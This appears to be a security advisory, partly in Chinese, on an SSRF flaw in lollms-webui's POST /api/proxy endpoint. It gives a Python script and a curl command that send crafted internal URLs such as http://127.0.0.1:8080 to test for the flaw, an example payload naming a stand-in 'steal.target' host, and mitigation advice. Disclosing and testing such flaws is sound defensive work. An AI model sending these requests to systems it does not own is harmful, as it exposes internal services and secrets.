parisneo/lollms-webui 中的 SSRF

攻击者可以利用此 SSRF 漏洞，通过 POST /api/proxy 接口构造恶意的 HTTP 请求，伪造受害者服务器的身份。攻击者可以指定任意 URL，例如 {"url":"http://steal.target"}，从而访问受害者服务器无法直接访问的内部资源或外部服务。这可能导致攻击者窃取敏感数据，例如数据库凭据、API 密钥或内部文档。此外，攻击者还可以利用此漏洞进行横向移动，攻击内部网络中的其他系统。由于 lollms-webui 可能被部署在具有较高权限的环境中，因此该漏洞的潜在影响范围可能非常广泛。

Organizations deploying lollms-webui, particularly those exposing it to untrusted networks or using it to proxy requests to internal services, are at risk. Shared hosting environments where multiple users share the same server instance are also vulnerable, as an attacker could potentially exploit the vulnerability through another user's account.

• python / server:

import requests
import json

url = 'http://your_lollms_webui_ip/api/proxy'
headers = {'Content-Type': 'application/json'}
data = json.dumps({'url': 'http://127.0.0.1:8080'}) # Test URL

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Potential SSRF detected.  Review response content.")
    print(response.text)
else:
    print("Request failed.")

• generic web:

curl -v -X POST 'http://your_lollms_webui_ip/api/proxy' -H 'Content-Type: application/json' -d '{"url":"http://127.0.0.1:8080"}'

• linux / server:

journalctl -u lollms-webui -f | grep "proxy request" # Look for suspicious URLs in logs

1. 2025-03-20Disclosure

   disclosure

1. 已保留2024-12-18
2. 发布日期2025-03-20
3. EPSS 更新日期2026-04-02

目前，官方尚未发布修复版本。作为临时缓解措施，建议禁用或限制 POST /api/proxy 接口的访问。可以通过修改 lollms-webui 的配置文件，禁用 lollmsElfServer 的远程访问功能，或者使用 Web 应用防火墙 (WAF) 规则来阻止恶意请求。此外，应仔细审查 lollms-webui 的配置，确保其只允许访问必要的资源。在升级或修改配置后，请验证缓解措施是否有效，例如通过尝试访问内部资源来确认是否被阻止。